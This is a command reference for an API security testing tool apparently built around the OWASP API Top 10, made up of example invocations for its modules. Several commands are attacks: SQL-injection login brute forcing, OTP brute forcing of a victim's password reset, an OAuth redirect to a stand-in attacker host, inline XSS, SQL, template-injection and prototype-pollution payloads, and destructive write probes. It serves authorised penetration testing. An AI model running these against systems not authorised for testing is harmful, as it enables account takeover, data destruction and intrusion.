OWASP Command Reference¶

python apileaks.py owasp

python apileaks.py owasp <key> --target URL [OPTIONS]

python apileaks.py owasp auth \
  --target 'http://192.168.1.79/v1/users.php' \
  --no-discovery --allow-aggressive-auth \
  --login-endpoint 'http://192.168.1.79/v1/users.php?format=json' \
  --login-send-mode query --login-method GET \
  --brute-username test \
  --passwords-wordlist sqli-auth-bypass.txt \
  --failure-match 'Invalid|incorrect|denied'

python apileaks.py owasp auth \
  --target 'http://host' \
  --no-discovery --allow-aggressive-auth \
  --otp-endpoint 'http://host/api/v1/authentication/customers/passwords/resets' \
  --otp-digits 4 --otp-field OTP \
  --otp-extra-field 'Email=victim@example.com' \
  --otp-extra-field 'NewPassword=123456' \
  --otp-filter-size 23 \
  --otp-exhaustive \
  --hide-errors

# Discovered endpoints only
python apileaks.py owasp parameter_pollution --target https://api.example.com

# Replay a Burp Suite capture — every query/body field is a candidate
python apileaks.py owasp parameter_pollution --target https://api.example.com --burp-xml export.xml

# Replay a Caido (or any tool's) HAR export
python apileaks.py owasp parameter_pollution --target https://api.example.com --har caido-export.har

# Audit every declared operation in an OpenAPI/Swagger document
python apileaks.py owasp spec_driven_testing --target https://api.example.com --openapi openapi.yaml

# Also works via a Postman collection (required-parameter checks only)
python apileaks.py owasp spec_driven_testing --target https://api.example.com --postman collection.json

python apileaks.py owasp bola --target https://api.example.com

python apileaks.py owasp auth --target https://api.example.com

python apileaks.py owasp property \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1

python apileaks.py owasp resource --target https://api.example.com

python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1

python apileaks.py owasp business_flow --target https://api.example.com

python apileaks.py owasp ssrf --target https://api.example.com

python apileaks.py owasp security_misconfig --target https://api.example.com

python apileaks.py owasp inventory --target https://api.example.com

python apileaks.py owasp unsafe_consumption --target https://api.example.com

python apileaks.py owasp parameter_pollution --target https://api.example.com
python apileaks.py owasp parameter_pollution --target https://api.example.com --burp-xml export.xml

python apileaks.py owasp spec_driven_testing --target https://api.example.com --openapi openapi.yaml

# List all modules
python apileaks.py owasp

# Run BOLA (API1)
python apileaks.py owasp bola --target https://api.example.com

# Run Auth (API2) with a JWT
python apileaks.py owasp auth \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Run SSRF (API7)
python apileaks.py owasp ssrf --target https://api.example.com

# Run Security Misconfiguration (API8)
python apileaks.py owasp security_misconfig --target https://api.example.com

# Run Resource Consumption (API4)
python apileaks.py owasp resource --target https://api.example.com --rate-limit 5

# Read-only BOLA with multi-user contexts
python apileaks.py owasp bola \
  --target https://api.example.com \
  --auth-context alice:eyJ...:1 \
  --auth-context bob:eyJ...:1

# BOLA with composite key and verb-tampering (read-only)
python apileaks.py owasp bola \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --bola-composite \
  --bola-verb-tampering \
  --bola-id-leakage

# BOLA with destructive probes (dry-run first)
python apileaks.py owasp bola \
  --target https://api.example.com \
  --allow-write-bola \
  --bola-destructive-methods PATCH,PUT,DELETE \
  --bola-dry-run

# BOLA full destructive run (after reviewing dry-run output)
python apileaks.py owasp bola \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --allow-write-bola \
  --bola-destructive-methods PATCH,PUT,DELETE \
  --bola-composite \
  --bola-parameter-pollution

# Algorithm-confusion test with a PEM public key file
python apileaks.py owasp auth \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --public-key ./idp_public.pem

# Auth with JWKS endpoint
python apileaks.py owasp auth \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --jwks-url https://idp.example.com/.well-known/jwks.json

# Expired-token acceptance test
python apileaks.py owasp auth \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --signing-secret 'hs256secret'

# MFA bypass probe
python apileaks.py owasp auth \
  --target https://api.example.com \
  --mfa-provisional-token tok_provisional_abc123 \
  --mfa-protected-endpoint https://api.example.com/dashboard

# OAuth abuse
python apileaks.py owasp auth \
  --target https://api.example.com \
  --oauth-authorize-url https://auth.example.com/authorize \
  --oauth-attacker-redirect https://attacker.example.com/cb \
  --oauth-foreign-aud-token eyJ0eXAiOiJKV1Q...

# Reset token predictability analysis
python apileaks.py owasp auth \
  --target https://api.example.com \
  --reset-token-sample tok_abc123 \
  --reset-token-sample tok_def456 \
  --reset-token-known-input "user@example.com"

# Aggressive probes (anti-automation burst + revocation race)
python apileaks.py owasp auth \
  --target https://api.example.com \
  --allow-aggressive-auth \
  --auth-benign-username testuser \
  --auth-rate-limit-attempts 15 \
  --auth-revocation-race-requests 10

# Full auth module coverage
python apileaks.py owasp auth \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --public-key ./idp_pub.pem \
  --signing-secret 'fallback_secret' \
  --rate-limit 3 \
  --timeout 20 \
  --safe-mode \
  --output auth-audit

# Module run through a proxy
python apileaks.py owasp ssrf \
  --target https://api.example.com \
  --proxy http://127.0.0.1:8080 \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# CI-gated isolated module run
python apileaks.py owasp bola \
  --target https://api.example.com \
  --jwt "${JWT_TOKEN}" \
  --ci-mode \
  --fail-on high \
  --no-banner

# Two-token grey-box scan — all four attack levels
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1

# Explicit admin endpoints + verb tampering with POST included
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1 \
  --bfla-admin-endpoints /api/v3/admin \
  --bfla-admin-endpoints /management/users \
  --bfla-dangerous-methods DELETE,PUT,PATCH,POST

# Custom role fields and values for a specific application
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context user:USER_TOKEN:1 \
  --bfla-role-fields account_type \
  --bfla-role-fields tier \
  --bfla-role-values enterprise \
  --bfla-role-values superuser

# Persist probe matrix for downstream chained attacks
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1 \
  --bfla-output-file /tmp/bfla-matrix.json

# Version downgrade with explicit version list
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1 \
  --bfla-api-versions v1,v2,v3,v4,v5

# Destructive replay opt-in
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1 \
  --allow-destructive-bfla

# Safe mode — GET-only probes
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:ADMIN_TOKEN:100 \
  --auth-context user:USER_TOKEN:1 \
  --safe-mode

# CI-gated run
python apileaks.py owasp function_auth \
  --target https://api.example.com \
  --auth-context admin:${ADMIN_TOKEN}:100 \
  --auth-context user:${USER_TOKEN}:1 \
  --ci-mode \
  --fail-on critical \
  --no-banner

# Basic scan — all three detectors with built-in defaults
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Custom patterns for a ticketing platform
python apileaks.py owasp business_flow \
  --target https://tickets.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --flow-patterns /buy-ticket \
  --flow-patterns /reserve-seat \
  --flow-patterns /apply-promo

# High-repetition run for more conclusive evidence
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --flow-repetitions 200

# Custom quota fields for a fintech API
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --flow-quota-fields balance \
  --flow-quota-fields creditsRemaining \
  --flow-quota-fields transactionLimit

# Detect time-window controls with delay between requests
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --flow-repetitions 10 \
  --flow-delay-ms 1100

# Rate-limit check only — skip quota decrement detector
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --no-flow-check-quota

# Safe mode — GET endpoints only
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --safe-mode

# CI-gated run
python apileaks.py owasp business_flow \
  --target https://api.example.com \
  --jwt "${JWT_TOKEN}" \
  --ci-mode \
  --fail-on high \
  --no-banner

# Basic scan — all three detectors with built-in defaults
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Custom upstream indicators matching your target's naming conventions
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --unsafe-upstream-indicators fetch \
  --unsafe-upstream-indicators webhook \
  --unsafe-upstream-indicators "third-party" \
  --unsafe-upstream-indicators import

# Custom injection payloads for a known template-injection surface
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --unsafe-upstream-indicators proxy \
  --unsafe-payloads "{{7*7}}" \
  --unsafe-payloads "{{config.items()}}" \
  --unsafe-payloads "<%= 7*7 %>"

# Blind redirect with OOB listener (production-grade)
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --unsafe-check-redirects \
  --unsafe-redirect-url "https://xyz.interact.sh"

# Reflection + cleartext only (skip redirect probe)
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --no-unsafe-check-redirects

# Safe mode — query params only, no state-changing probes
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --safe-mode

# Full red-team run: custom indicators + payloads + OOB redirect + cleartext
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --unsafe-upstream-indicators proxy \
  --unsafe-upstream-indicators aggregate \
  --unsafe-upstream-indicators fetch \
  --unsafe-payloads "<script>alert(1)</script>" \
  --unsafe-payloads "' OR 1=1--" \
  --unsafe-payloads '{"__proto__":{"polluted":true}}' \
  --unsafe-check-redirects \
  --unsafe-redirect-url "https://xyz.interact.sh" \
  --unsafe-check-cleartext \
  --rate-limit 5 \
  --output api10-report

# CI-gated run — fail pipeline on HIGH or above
python apileaks.py owasp unsafe_consumption \
  --target https://api.example.com \
  --jwt "${JWT_TOKEN}" \
  --ci-mode \
  --fail-on high \
  --no-banner